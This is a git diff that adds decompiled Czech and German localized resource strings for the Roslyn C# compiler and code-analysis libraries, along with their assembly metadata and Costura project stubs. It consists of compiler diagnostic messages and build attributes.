+ Odpovídající optimální přetěžovaná metoda pro {0} má nesprávný podpis prvku inicializátoru. Jako inicializovatelná metoda Add se musí používat dostupná instanční metoda. + Byl určený veřejný podpis, který vyžaduje veřejný klíč, nebyl ale zadaný žádný veřejný klíč. + Typ odkazu s možnou hodnotou null v typu parametru neodpovídá implicitně implementovanému členu (pravděpodobně kvůli atributům možnosti použití hodnoty null) + Typ odkazu s možnou hodnotou null ve vráceném typu neodpovídá implementovanému členu {0} (pravděpodobně kvůli atributům možnosti použití hodnoty null). + Očekává se ). + Zdrojový soubor {0} se nenašel. + vlastnost + Neplatná hodnota {0}: {1} pro jazyk C# {2}. Použijte prosím verzi jazyka {3} nebo vyšší. + {0} nejde vrátit pomocí odkazu, protože je to hodnota jen pro čtení. + Rozšiřující metoda, kde jako cíl je nastavený příjemce, se nedá použít jako cíl operátoru &. + CallerFilePathAttribute použitý u parametru {0} nebude mít žádný účinek. Přepíše ho CallerFilePathAttribute. + Anonymní funkce převedená na void, která vrací delegáta, nemůže vracet hodnotu. + Není povoleno použít typ dynamic ve vzorku. + Nejde použít {0} {1} jako hodnotu ref nebo out, protože je to proměnná jen pro čtení. + Destruktory a metodu object.Finalize nejde volat přímo. Zvažte možnost volání metody IDisposable.Dispose, pokud je k dispozici. + {0} nemůže implementovat člena rozhraní {1} v typu {2}, protože cílový modul runtime nepodporuje v rozhraní statické abstraktní členy. + Metodu {0} se zachycovačem {1} nelze zachytit, protože podpisy se neshodují. + Příliš moc znaků ve znakovém literálu + SyntaxTree není součástí kompilace. + Jsou zadané různé hodnoty kontrolního součtu direktivy #pragma. + Hodnota SecurityAction {0} není platná pro atribut PrincipalPermission. + Chybný deklarátor pole. Při deklaraci spravovaného pole musí být specifikátor rozměru uvedený před identifikátorem proměnné. Při deklaraci pole vyrovnávací paměti pevné velikosti uveďte před typem pole klíčové slovo fixed. + Částečné deklarace {0} musí obsahovat názvy parametrů stejného typu a modifikátory odchylek ve stejném pořadí. + {0} se nemůže odvozovat ze speciální třídy {1}. + Protože {0} je asynchronní metoda, která vrací {1}, nesmí za klíčovým slovem return následovat výraz objektu. + {0} nejde použít jako hodnotu Ref nebo Out, protože je jen pro čtení. + Inicializátor objektu nebo kolekce implicitně přistupuje přes ukazatel ke členovi {0}, který může být null. + Nenašla se implementace vzorku dotazu pro typ zdroje {0}. Nenašel se prvek {1}. + Atribut CallerMemberNameAttribute jde použít jenom pro parametry s výchozími hodnotami. + Typ je v konfliktu s importovaným oborem názvů. + Komentář XML má značku param pro {0}, ale neexistuje parametr s tímto názvem. + Parametr typu má stejný typ jako parametr typu z vnější metody. + Parametr {0} není explicitně zadaný, ale používá se jako argument pro převod interpolované obslužné rutiny řetězce v parametru {1}. Zadejte hodnotu {0} před {1}. + Komentář XML pro veřejně viditelný typ nebo člen se nenašel. + Sestavení {0}, které obsahuje typ {1}, se odkazuje na architekturu .NET Framework, což se nepodporuje. + Porovnání s integrální konstantou je zbytečné; hodnota konstanty je mimo rozsah typu. + Typ nejde použít jako parametr typu v obecném typu nebo metodě. Typ argumentu s možnou hodnotou null neodpovídá typu omezení. + Typ definuje operátor == nebo !=, ale nepřepisuje funkci Object.GetHashCode(). + Atribut se bude ignorovat ve prospěch instance zobrazené ve zdroji. + Zdrojový soubor {0} nešel otevřít -- {1} + Atribut {0} není platný pro deklaraci tohoto typu. Je platný jenom pro deklarace {1}. + Strom výrazu nesmí obsahovat přiřazení představující sloučení s hodnotou null. + Místní proměnná nebo parametr s názvem {0} se nedá deklarovat v tomto oboru, protože se tento název používá v uzavírajícím místním oboru pro definování místní proměnné nebo parametru. + {0} je typu {1}. Výchozí hodnotu parametru s jiným než řetězcovým typem odkazu jde inicializovat jenom hodnotou null. + Nejde vložit typy spolupráce ze sestavení {0}, protože postrádá buď atribut {1}, nebo atribut {2}. + Typy odkazů s možnou hodnotou null v typu parametru {0} z {1} neodpovídají cílovému delegátu {2} (pravděpodobně kvůli atributům možnosti použití hodnoty null). + Typ omezení {0} není kompatibilní se specifikací CLS. + Konstrukce obslužné rutiny interpolovaného řetězce nemůže používat dynamickou hodnotu. Vytvořte instanci {0} ručně. + Statické pole nebo vlastnost {0} se nedá přiřadit k inicializátoru objektu. + Duplicitní atribut {0} + Atribut {0} je platný jenom pro třídy odvozené od třídy System.Attribute. + Větve podmíněného operátoru odkazu odkazují na proměnné s nekompatibilními obory deklarací + Neočekáváná posloupnost znaků ... + Možná hodnota null v omezení parametru typu {0} metody {1} neodpovídá omezením parametru typu {2} metody rozhraní {3}. Zkuste raději použít explicitní implementaci rozhraní. + Výsledkem porovnání s typem struct je vždycky false. + Atribut RequiredAttribute není povolený pro typy C#. + Je povolených jenom 65 534 lokálních proměnných, včetně těch, které generuje kompilátor. + Pole s modifikátorem volatile by se normálně mělo používat jako hodnota Ref nebo Out, protože se s ním nebude zacházet jako s nestálým. Pro toto pravidlo platí výjimky, například při volání propojeného API. + Typ odkazu s možnou hodnotou null v typu neodpovídá přepsanému členu. + Nejde vložit typ spolupráce {0} nalezený v sestavení {1} i {2}. Zvažte nastavení vlastnosti Vložit typy spolupráce na hodnotu false. + cesta je moc dlouhá nebo neplatná. + {1} {0} má nesprávný návratový typ. + Člen musí mít při ukončení za určité podmínky hodnotu jinou než null + Typ odkazu s možnou hodnotou null v typu parametru {0} neodpovídá implementovanému členu {1}. + Typ neimplementuje vzorek kolekce. Člen nemá správný podpis. + Asynchronní funkce main + Nenašel se člen {0} v typu {1} ze sestavení {2}. + Na tomto místě se neočekávala koncová značka. + {1}: Nejde odvodit ze statické třídy {0}. + Metody, které mají atribut UnmanagedCallersOnly, nemůžou mít obecné typy parametrů a nedají se deklarovat v obecném typu. + Přístup ke členovi na {0} může způsobit výjimku za běhu, protože se jedná o pole třídy marshal-by-reference. + Očekával se výraz. + Sestavení {0} udělilo přístup typu Friend, ale veřejný klíč výstupního sestavení ({1}) neodpovídá klíči určenému atributem InternalsVisibleTo v udělujícím sestavení. + 'Typ {0} není tímto jazykem podporovaný. + Metoda inicializátoru modulu „{0}“ musí být statická a ne virtual, nesmí mít žádné parametry a musí vracet void. + Metoda {0} s blokem iterátoru musí být asynchronní, aby vrátila {1}. + Výraz musí být implicitně převeditelný na logickou hodnotu nebo její typ {0} musí definovat operátor {1}. + Objekt se dá uvolnit víc než jednou. + CallerMemberNameAttribute použitý u parametru {0} nebude mít žádný účinek. Přepíše ho CallerLineNumberAttribute. + Odkaz na sestavení je neplatný a nedá se vyhodnotit. + Typ parametru operátorů ++ a -- musí být nadřazeného typu. + Použití potenciálně nepřiřazené automaticky implementované vlastnosti {0}. Zvažte aktualizaci jazykové verze {1} na automaticky výchozí vlastnost. + Literál s hodnotou null nebo s možnou hodnotou null se převádí na typ, který nemůže mít hodnotu null. + Nenašla se žádná hodnota pro RuntimeMetadataVersion. + Pro nestatické pole, metodu nebo vlastnost {0} se vyžaduje odkaz na objekt. + Člen parametru {0} není možné vrátit podle odkazu prostřednictvím parametru odkazu; je ho možné vrátit pouze v příkazu return. + Typ nebo člen nejde označit jako kompatibilní se specifikací CLS, protože sestavení nemá atribut CLSCompliant. + Atribut AsyncMethodBuilder je u anonymních metod bez explicitního návratového typu zakázaný. + Převádí se skupina metod na nedelegující typ. + {0}: Návratový typ musí být {2}, aby odpovídal přepsanému členu {1}. + Proměnnou using není možné v sekci switch použít přímo (zvažte použití složených závorek). + Odeslání musí mít aspoň jeden strom syntaxe. + Žádná přetížená metoda {0} neodpovídá delegátovi {1}. + Identifikátor {0} je v tomto kontextu nejednoznačný mezi typem {1} a parametrem {2}. + Neplatný typ pro parametr v atributu cref komentáře XML. + Název {0} neidentifikuje element tuple {1}. + Atribut DefaultMember nejde zadat pro typ obsahující indexer. + Úroveň upozornění musí být nula nebo větší. + indexer s výrazem v těle + Místní funkce {0} musí deklarovat tělo, protože není označená jako static extern. + Parametr {0} má výchozí hodnotu {1:10} ve výrazu lambda, ale v cílovém typu delegáta má {2:10}. + {0}: Nejde odvozovat z dynamického typu. + Částečná metoda {0} musí mít modifikátory přístupnosti, protože má návratový typ jiný než void. + Strom výrazu lambda nesmí obsahovat operátor sloučení, na jehož levé straně stojí literál s hodnotou Null nebo výchozí literál. + {0}: typ použitý v asynchronním příkazu using musí být implicitně převoditelný na System.IAsyncDisposable nebo musí implementovat odpovídající metodu DisposeAsync. + Chyba syntaxe; očekávána hodnota: {0} + {2} nemůže splňovat omezení new() u parametru {1} v obecném typu nebo metodě {0}, protože {2} má požadované členy. + Výraz switch nezachycuje některé hodnoty vstupního typu (není úplný) včetně nepojmenované hodnoty výčtu. Nezachycuje například vzor {0}. + Argument typu {0} nejde použít pro parametr {2} typu {1} v {3} z důvodu rozdílů v možnostech použití hodnoty null u odkazových typů. + Není rozpoznané umístění atributu. + Použití výsledku {0} v tomto kontextu může vystavit proměnné, na které odkazuje parametr {1}, mimo rozsah jejich oboru. + Inicializátor prvku nemůže být prázdný. + Volání člena {0}, který nemá modifikátor readonly, ze člena s modifikátorem readonly má za následek implicitní kopii {1}. + Typ výrazu v klauzuli {0} je nesprávný. Nepovedlo se odvození typu při volání funkce {1}. + filtr výjimky + Musíte zadat aspoň jeden příkaz nejvyšší úrovně. + Částečné deklarace metod {0} mají nekonzistentní omezení parametru typu {1}. + \ No newline at end of file diff --git a/decompiled/Libraries/cs.microsoft.codeanalysis.csharp.resources/Properties/AssemblyInfo.cs b/decompiled/Libraries/cs.microsoft.codeanalysis.csharp.resources/Properties/AssemblyInfo.cs new file mode 100644 index 0000000..f1cc5cb --- /dev/null +++ b/decompiled/Libraries/cs.microsoft.codeanalysis.csharp.resources/Properties/AssemblyInfo.cs @@ -0,0 +1,11 @@ +using System.Diagnostics; +using System.Reflection; +using System.Runtime.CompilerServices; + +[assembly: AssemblyCompany("Microsoft Corporation")] +[assembly: AssemblyCopyright("© Microsoft Corporation. All rights reserved.")] +[assembly: AssemblyFileVersion("4.800.23.55801")] +[assembly: AssemblyInformationalVersion("4.8.0-7.23558.1+e091728607ca0fc9efca55ccfb3e59259c6b5a0a")] +[assembly: AssemblyProduct("Microsoft.CodeAnalysis.CSharp")] +[assembly: AssemblyTitle("Microsoft.CodeAnalysis.CSharp")] +[assembly: AssemblyVersion("4.8.0.0")] diff --git a/decompiled/Libraries/cs.microsoft.codeanalysis.csharp.resources/costura.cs.microsoft.codeanalysis.csharp.resources.csproj b/decompiled/Libraries/cs.microsoft.codeanalysis.csharp.resources/costura.cs.microsoft.codeanalysis.csharp.resources.csproj new file mode 100644 index 0000000..5be603d --- /dev/null +++ b/decompiled/Libraries/cs.microsoft.codeanalysis.csharp.resources/costura.cs.microsoft.codeanalysis.csharp.resources.csproj @@ -0,0 +1,17 @@ + + + Microsoft.CodeAnalysis.CSharp.resources + False + netstandard2.0 + + + 14.0 + True + False + + + + + + + \ No newline at end of file diff --git a/decompiled/Libraries/cs.microsoft.codeanalysis.resources/Microsoft.CodeAnalysis.CodeAnalysisResources.cs.resx b/decompiled/Libraries/cs.microsoft.codeanalysis.resources/Microsoft.CodeAnalysis.CodeAnalysisResources.cs.resx new file mode 100644 index 0000000..462d956 --- /dev/null +++ b/decompiled/Libraries/cs.microsoft.codeanalysis.resources/Microsoft.CodeAnalysis.CodeAnalysisResources.cs.resx @@ -0,0 +1,248 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +text/microsoft-resx1.3System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089struktura + Očekával se element. + Image PE není dostupná. + Neplatná velikost tokenu veřejného klíče + Další soubor nepatří do základního CompilationWithAnalyzers. + Několik konfiguračních souborů globálního analyzátoru nastavuje v části {1} stejný klíč {0}. Jeho nastavení se zrušilo. Klíč se nastavil v následujících souborech: {2} + Dočasná cesta pro starší verzi podepisování souborů není k dispozici. + událost + Sestavení, které obsahuje typ {0}, se odkazuje na architekturu .NET Framework, což se nepodporuje. + Odkaz na sestavení: {0} + Uděluje IVT aktuálnímu sestavení: {1} + Uděluje IVT: + Analyzátor {0} má v SupportedDiagnostics deskriptor s hodnotou null. + Parametr {0} musí být symbol z této kompilace nebo některé odkazované sestavení. + Nekonzistentní jazykové verze + Řešitel odkazů by měl vrátit čitelný stream, který není null. + Neplatné možnosti kompilace -- odeslání nejde podepsat. + Klíč v pathMap je prázdný. + Neplatná závažnost v konfiguračním souboru analyzátoru + Soubor sady pravidel obsahuje duplicitní pravidla pro {0} s odlišnými akcemi {1} a {2}. + Typ musí být podtřída SyntaxAnnotation. + Hodnota je moc velká, než aby se dala vyjádřit jako 30bitové nepodepsané celé číslo. + Modul nejde označit aliasem. + Neplatné znaky v názvu sestavení jazykové verze + modul + metoda + Zapisovač Windows PDB nepodporuje deterministickou kompilaci: {0}. + Analyzátor + Parametr {0} musí být INamedTypeSymbol nebo IAssemblySymbol. + Pokud chcete tento analyzátor zakázat, potlačte následující diagnostiku: {0} + třída + Upozornění: Nešlo povolit vícejádrový režim JIT kvůli výjimce: {0}. + Vložené texty jsou podporované jen při vydávání souboru PDB. + Kopie modulu se nedá použít k vytvoření metadat sestavení. + Název oddílu konfigurace globálního analyzátoru {0} není platný, protože to není absolutní cesta. Oddíl se bude ignorovat. Deklaroval se v souboru: {1} + Stream ikon není v očekávaném formátu. + Při diagnostice {0} byla v konfiguračním souboru analyzátoru v {2} předána neplatná závažnost {1}. + Název sestavení: {0} + Veřejné klíče: + Soubor se nenašel. + Atribut {0} má neplatnou hodnotu {1}. + Prostředky Win32, u kterých se předpokládá, že jsou ve formátu objektů COFF, mají neplatnou velikost sekce. + SourceText s hintName {0} musí mít explicitní sadu kódování. + Nerozpoznaný formát souboru prostředku + parametr + vlastnost, indexer + V elementu {0} chybí atribut s názvem {1}. + Nenašel se odkaz na metadata {0}, který by se dal odebrat. + Neplatný název oddílu určený v modulu metadat {0}: {1} + Název obsahuje neplatné znaky. + Pro tuto možnost se nesmí zadat název jazyka. + Při vkládání PDB do streamu PE by neměl být zadaný stream PDB. + Nic + Když se generují jenom metadata, neměl by se zadávat stream PDB. + {0} hintName obsahuje neplatný znak {1} na pozici {2}. + Chyba ovladače analyzátoru + Několik konfiguračních souborů globálního analyzátoru nastavuje stejný klíč. Jeho nastavení se zrušilo + Pokud se negeneruje referenční sestavení, je třeba zahrnout soukromé členy. + Argumenty možnosti /keepalive nižší než -1 nejsou platné. + Daná operace má nadřazenou položku, která není null. + Název oddílu konfigurace globálního analyzátoru není platný, protože to není absolutní cesta. Oddíl se bude ignorovat + Očekávala se absolutní cesta. + Neplatná data na pozici {0}: {1}{2}*{3}{4} + Nepodařilo se určit konkrétní příčinu selhání. + Odkazy na dokumenty XML se nepodporují. + Stream je moc dlouhý. + Návratový typ nemůže být typ hodnoty, ukazatel, hodnota podle odkazu nebo otevřený obecný typ. + Základní typ pro řazenou kolekci členů musí být s řazenou kolekcí členů kompatibilní. + Došlo k výjimce s tímto kontextem: +{0} + Vazač serializace nerozumí typu {0}. + Nekonzistentní funkce stromu syntaxe + Nejde vložit typy spolupráce z modulu. + SourceText se nedá vložit. Při vytváření zadejte kódování nebo canBeEmbedded=true. + Stream obsahuje neplatná data. + Doba (s) + Modul zahrnuje neplatné atributy. + Strom syntaxe nepatří do zdrojové kompilace. + Neplatná hodnota hash + 'Možnost /keepalive je platná jenom s možností /shared. + Při generování do sekundárního výstupu sestavení by se neměly zahrnovat privátní členy. + Tisk informací InternalsVisibleToAttribute pro aktuální kompilaci a všechna odkazovaná sestavení. + Cesta vrácená procedurou {0}.ResolveStrongNameKeyFile musí být absolutní: {1}. + Nejde najít soubor sady pravidel {0}. + Podepsání sestavení se nepodporuje. + Zdroj vykazované diagnostiky {0} má umístění {1} v souboru {2}, což je mimo daný soubor. + Uzel určený ke sledování není potomkem kořene. + Blok dané operace nepatří do aktuálního analytického kontextu. + Zadaná položka není elementem seznamu. + delegát + Do streamu se nedá zapisovat. + Hodnota argumentu /shared: nesmí být prázdná. + Čtečka deserializace pro {0} přečetla nesprávný počet hodnot. + Analyzátor {0} má v SupportedSuppressions popisovač s hodnotou null. + Nejde vytvořit odkaz na odeslání. + Cesta vrácená procedurou {0}.ResolveMetadataFile musí být absolutní: {1}. + Nevyřešeno: + Argument pro možnost /keepalive není 32bitové celé číslo. + Rozpětí nezahrnuje začátek řádku. + Nedá se vytvořit odkaz na metadata do sestavení bez umístění. + Neplatný název jazykové verze: {0} + Neplatný typ instrumentace: {0} + Řazené kolekce členů musí mít aspoň dva elementy. + Změny musí být seřazené a nesmí se překrývat. + Server kompilátoru Roslyn hlásí jinou verzi protokolu, než má úloha sestavení. + Celková doba spuštění analyzátoru: {0} sekund + Možnosti kompilace nesmí obsahovat chyby. + Typ {0} nejde serializovat. + Když se generují jenom metadata, neměl by zadávat stream PE metadat. + Prázdný nebo neplatný název zdroje + Návratový typ nemůže být prázdná hodnota, hodnota podle odkazu nebo otevřený obecný typ. + Zapisovač Windows PDB nepodporuje funkci SourceLink: {0}. + Neplatný token veřejného klíče + Diagnostika {0}: {1} se programově potlačila pomocí DiagnosticSuppressor s ID potlačení {2} a odůvodněním {3}. + Chybí argument pro možnost /keepalive. + <modul v paměti> + Generátor + Daná operace má sémantický model null. + Verze zapisovače Windows PDB je starší, než se vyžaduje: {0}. + Uzel nebo token je mimo sekvenci. + Při generování metadat se vkládání PDB nepovoluje. + Nejde vytvořit odkaz metadat na dynamické sestavení. + Potlačené ID diagnostiky {0} neodpovídá potlačitelnému ID {1} pro daný popisovač potlačení. + Prostředky Win32, u kterých se předpokládá, že jsou ve formátu objektů COFF, mají nejmíň jednu neplatnou hodnotu symbolu. + Stream musí podporovat operace read a seek. + výčet + Zdroj vykazované diagnostiky {0} je umístěný v souboru {1}, který není součástí analyzované kompilace. + pole + Název nemůže být prázdný. + Celková doba spuštění generátoru: {0} sekund. + U prostředků Win32, u kterých se předpokládá, že jsou ve formátu objektů COFF, chybí nejmíň jedna ze sekcí .rsrc$01 a .rsrc$02. + Pokud jsou zadané názvy prvků řazené kolekce členů, musí se počet názvů členů shodovat s kardinalitou této řazené kolekce členů. + Funkce Upravit a pokračovat nemůže obnovit pozastavený iterátor, protože odpovídající příkaz yield return byl odstraněn. + Neplatný typ obsahu + {0}.GetMetadata() musí vracet instanci {1}. + Hlášená diagnostika má ID {0}, které není platným identifikátorem. + Nejde vytvořit odkaz modulu na sestavení. + Pokud jsou zadané anotace prvků řazené kolekce členů s možnou hodnotou null, musí se počet anotací shodovat s kardinalitou této řazené kolekce členů. + Argument obsahuje duplicitní instance analyzátoru. + Název nesmí začínat mezerou. + Pole s víc než jedním rozměrem nejsou serializované. + Změna verze odkazu na sestavení není povolená při ladění: {0} změnil(a) verzi na {1}. + Ohlášená diagnostika s ID {0} se v analyzátoru nepodporuje. + Pro tuto možnost se musí zadat název jazyka. + Byl očekáván symbol metody. + Druh výstupu se nepodporuje. + Očekával se oddělovač. + Uzel v seznamu není očekávaného typu. + HintName {0} obsahuje neplatný segment {1} na pozici {2}. + {0} musí být buď default, nebo musí mít stejnou délku jako {1}. + Název nemůže být null. + Změny musí spadat do mezí SourceText. + Nepodporovaný algoritmus hash + Zprostředkovatel streamu prostředků by měl vrátit čitelný stream, který není null. + U identity WindowsRuntime se nedá změnit cíl. + Argument obsahuje instanci analyzátoru, který nepatří mezi Analyzátory pro tuto instanci CompilationWithAnalyzers. + Když se generuje referenční sestavení, nejde cílit na síťový modul. + Typ {0} nejde deserializovat. + Stream musí být čitelný. + rozhraní + Prostředky Win32, u kterých se předpokládá, že jsou ve formátu objektů COFF, mají nejmíň jednu neplatnou hodnotu hlavičky přemístění. + Analyzátor {0} způsobil výjimku typu {1} se zprávou {2}. +{3} + <sestavení v paměti> + {0} a {1} musí mít stejnou délku. + {0} hintName přidaného zdrojového souboru musí být v rámci generátoru jedinečná. + Názvem prvku řazené kolekce členů nemůže být prázdný řetězec. + Neplatný druh výstupu pro odeslání Očekávalo se DynamicallyLinkedLibrary. + SuppressionDescriptor musí mít ID, které není null, prázdný řetězec ani řetězec obsahující jenom prázdné znaky. + Datový proud musí být zapisovatelný. + Neplatný název sestavení: {0} + Neplatný alias + konstruktor + Nenašly se žádné analyzátory. + Sestavení musí mít nejmíň jeden modul. + Funkce Upravit a Pokračovat nemůže obnovit pozastavenou asynchronní metodu, protože odpovídající výraz await byl odstraněn. + Zprostředkovatel dat prostředků by měl vrátit čitelný stream, který není null. + Neohlášená diagnostika s ID {0} se nedá potlačit. + Datový proud prostředků skončil na {0} bajtech, očekávalo se {1} bajtů. + Image PE neobsahuje spravovaná metadata. + Prázdný nebo neplatný název souboru + návrat + Ovladač analyzátoru způsobil výjimku typu {0} se zprávou {1}. +{2} + Velikost souboru překračuje maximální povolenou velikost platného souboru metadat. + Rozpětí nezahrnuje konec řádku. + Předchozí odeslání obsahuje chyby. + Kompilace odkazuje na víc sestavení, jejichž verze se liší jenom v automaticky generovaném buildu a/nebo číslech revizí. + Programové potlačení diagnostiky analyzátoru + Soubor sestavení se nenašel. + Neplatný veřejný klíč + Ze streamu se nedá číst. + Odkaz typu {0} není pro tuto kompilaci platný. + Požadované číslo řádku {0} musí být menší než počet řádků {1}. + DiagnosticDescriptor musí mít ID, které není null, prázdný řetězec, ani řetězec obsahující jenom prázdné znaky. + Ohlášené potlačení s ID {0} se v potlačovacím modulu nepodporuje. + Zadaná operace nesmí být součástí grafu toku řízení. + Na jeden generátor je možné zaregistrovat jen jedno {0}. + Typ musí být stejný jako u hostitelského objektu při předchozím odeslání. + Pokud jsou zadaná umístění prvků řazené kolekce členů, musí se počet umístění shodovat s kardinalitou této řazené kolekce členů. + Aktuální sestavení: {0} + {0} nebyl platný předdefinovaný název operátoru + Nepodporovaný předdefinovaný operátor: {0} + Neplatný předdefinovaný název operátoru {0} + Hodnota end nesmí být menší než hodnota start. start={0} end={1}. + Nejde vytvořit odkaz na modul. + Chyba analyzátoru + Očekával se neprázdný veřejný klíč. + Při načítání zahrnutého souboru sady pravidel {0} došlo k chybě: {1} + Neplatné znaky v názvu sestavení + POZNÁMKA: Uplynulý čas může být kratší než čas spuštění analyzátoru, protože analyzátory můžou běžet současně. + Argument nemůže mít element, který je null. + Argument nemůže být prázdný. + sestavení + parametr typu + 'Začátek musí být záporný. + Velikost musí být kladná. + Hodnota v pathMap je null. + \ No newline at end of file diff --git a/decompiled/Libraries/cs.microsoft.codeanalysis.resources/Microsoft.CodeAnalysis.Internal.Strings.cs.resx b/decompiled/Libraries/cs.microsoft.codeanalysis.resources/Microsoft.CodeAnalysis.Internal.Strings.cs.resx new file mode 100644 index 0000000..7767b20 --- /dev/null +++ b/decompiled/Libraries/cs.microsoft.codeanalysis.resources/Microsoft.CodeAnalysis.Internal.Strings.cs.resx @@ -0,0 +1,59 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +text/microsoft-resx1.3System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089Dolní mez cílového pole musí být nula. + Typ cílového pole není kompatibilní s typem položek v kolekci. + Velikost kolekce byla pevně stanovena. + Kolekce byla upravena. Operace výčtu pravděpodobně nebude spuštěna. + Číslo bylo menší než dolní mez prvního rozměru pole. + Cílové pole není dostatečně dlouhé, aby bylo možné zkopírovat všechny položky v kolekci. Zkontrolujte index a délku pole. + Porovnání dvou prvků v poli se nezdařilo. + Položka se stejným klíčem již byla přidána. Klíč: {0} + Určená pole musí mít stejný počet rozměrů. + Posun a délka byly mimo rozsah pro dané pole nebo je počet vyšší než počet elementů z indexu do konce zdrojové kolekce. + Řazení není možné, protože metoda IComparer.Compare() vrací nekonzistentní výsledky. Buď není výsledkem porovnání hodnoty samé se sebou rovnost, nebo opakované porovnání jedné hodnoty s jinou hodnotou vrací různé výsledky. IComparer: {0} + Počet musí být kladný a musí odkazovat na umístění v řetězci, v poli nebo v kolekci. + Index je mimo rozsah. Index musí být nezáporný a musí být menší než velikost kolekce. + Objekt není pole se stejným počtem elementů jako pole, se kterým se má porovnat. + kapacita je menší než aktuální velikost. + Pro požadovanou akci jsou podporována pouze jednorozměrná pole. + Mutace kolekce hodnot odvozené od slovníku nejsou povoleny. + Hodnota je větší než velikost kolekce. + Index musí být v rozsahu objektu List. + Vyžaduje se nezáporné číslo. + Nepovedlo se najít starou hodnotu. + Operace, které mění nesouběžné kolekce, musí mít výhradní přístup. U této kolekce se provedla souběžná aktualizace, která poškodila její stav. Stav kolekce už není správný. + Daný klíč {0} není ve slovníku k dispozici. + Mutace kolekce klíčů odvozené od slovníku nejsou povoleny. + Cílové pole není dostatečně veliké. Zkontrolujte prosím cílový index, délku a spodní hranice pole. + Kapacita tabulky hash přetekla a přešla do záporných hodnot. Zkontrolujte faktor zaplnění, kapacitu a aktuální velikost tabulky. + Zdrojové pole není dostatečně veliké. Zkontrolujte prosím zdrojový index, délku a spodní hranice pole. + Hodnota {0} není typu {1} a nelze ji použít v obecné kolekci. + Výčet buď nebyl spuštěn, nebo již byl dokončen. + \ No newline at end of file diff --git a/decompiled/Libraries/cs.microsoft.codeanalysis.resources/Properties/AssemblyInfo.cs b/decompiled/Libraries/cs.microsoft.codeanalysis.resources/Properties/AssemblyInfo.cs new file mode 100644 index 0000000..437c68c --- /dev/null +++ b/decompiled/Libraries/cs.microsoft.codeanalysis.resources/Properties/AssemblyInfo.cs @@ -0,0 +1,11 @@ +using System.Diagnostics; +using System.Reflection; +using System.Runtime.CompilerServices; + +[assembly: AssemblyCompany("Microsoft Corporation")] +[assembly: AssemblyCopyright("© Microsoft Corporation. All rights reserved.")] +[assembly: AssemblyFileVersion("4.800.23.55801")] +[assembly: AssemblyInformationalVersion("4.8.0-7.23558.1+e091728607ca0fc9efca55ccfb3e59259c6b5a0a")] +[assembly: AssemblyProduct("Microsoft.CodeAnalysis")] +[assembly: AssemblyTitle("Microsoft.CodeAnalysis")] +[assembly: AssemblyVersion("4.8.0.0")] diff --git a/decompiled/Libraries/cs.microsoft.codeanalysis.resources/costura.cs.microsoft.codeanalysis.resources.csproj b/decompiled/Libraries/cs.microsoft.codeanalysis.resources/costura.cs.microsoft.codeanalysis.resources.csproj new file mode 100644 index 0000000..8050a23 --- /dev/null +++ b/decompiled/Libraries/cs.microsoft.codeanalysis.resources/costura.cs.microsoft.codeanalysis.resources.csproj @@ -0,0 +1,17 @@ + + + Microsoft.CodeAnalysis.resources + False + netstandard2.0 + + + 14.0 + True + False + + + + + + + \ No newline at end of file diff --git a/decompiled/Libraries/de.microsoft.codeanalysis.csharp.resources/Microsoft.CodeAnalysis.CSharp.CSharpResources.de.resx b/decompiled/Libraries/de.microsoft.codeanalysis.csharp.resources/Microsoft.CodeAnalysis.CSharp.CSharpResources.de.resx new file mode 100644 index 0000000..cef17f7 --- /dev/null +++ b/decompiled/Libraries/de.microsoft.codeanalysis.csharp.resources/Microsoft.CodeAnalysis.CSharp.CSharpResources.de.resx @@ -0,0 +1,2705 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +text/microsoft-resx1.3System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089Für Ausgaben ohne Quelle muss die Option /out angeben werden. + Division durch Konstante 0 (null). + Typen und Aliase dürfen nicht den Namen "record" aufweisen. + "{0}" ist kein gültiges benanntes Attributargument, da es sich nicht um einen gültigen Attributparametertyp handelt. + XML-Kommentar weist ein ungültiges Format auf + Die new()-Einschränkung kann nicht mit der unmanaged-Einschränkung verwendet werden. + Einige Typen werden in der Analyzer-Assembly {0} aufgrund von ReflectionTypeLoadException übersprungen: {1}. + Feld ist zugewiesen, der Wert wird jedoch niemals verwendet + Datensätze + Ein Ausdrucksbaum darf keinen Zuweisungsoperator enthalten. + Mindestens ein Typ, der zum Kompilieren eines dynamischen Ausdrucks erforderlich ist, wurde nicht gefunden. Fehlt möglicherweise ein Verweis? + "{0}" ist veraltet: "{1}" + Das Conditional-Attribut ist für "{0}" nicht gültig, weil es sich hierbei um einen Konstruktor, einen Destruktor, einen Operator, einen Lambdaausdruck oder eine explizite Schnittstellenimplementierung handelt. + Member des primären Konstruktorparameters „{0}“ eines schreibgeschützten Typs können nicht durch einen beschreibbaren Verweis zurückgegeben werden. + Segmentmuster dürfen nur einmal und direkt innerhalb eines Listenmusters verwendet werden. + Ungültiger Modulname: {0} + Die Schnittstelle wird bereits mit einer anderen NULL-Zulässigkeit oder abweichenden Verweistypen in der Schnittstellenliste aufgeführt. + {0}: Benutzerdefinierte Konvertierungen in einen oder aus einem Basistyp sind nicht zulässig. + "{0}": Auf einen Typ kann nicht durch einen Ausdruck verwiesen werden. Verwenden Sie stattdessen "{1}". + Compilerversion: "{0}". Sprachversion: {1}. + Iteratoren + "/win32manifest" gilt nur für Assemblys und wird für das Modul ignoriert. + Die Codepage "{0}" ist ungültig oder nicht installiert. + Der veraltete Member "{0}" überschreibt den nicht veralteten Member "{1}". + Für das Zeichenfolgenliteral fehlt das schließende Anführungszeichen. + Der ausgelöste Wert darf NULL sein. + Verwendung einer möglicherweise nicht zugewiesenen automatisch implementierten Eigenschaft '{0}'. Erwägen Sie eine Aktualisierung auf die Sprachversion '{1}', um die Eigenschaft automatisch als Standard zu verwenden. + "{0}" kann keine NULL-Werte zulassen. + Using-Deklarationen + Die 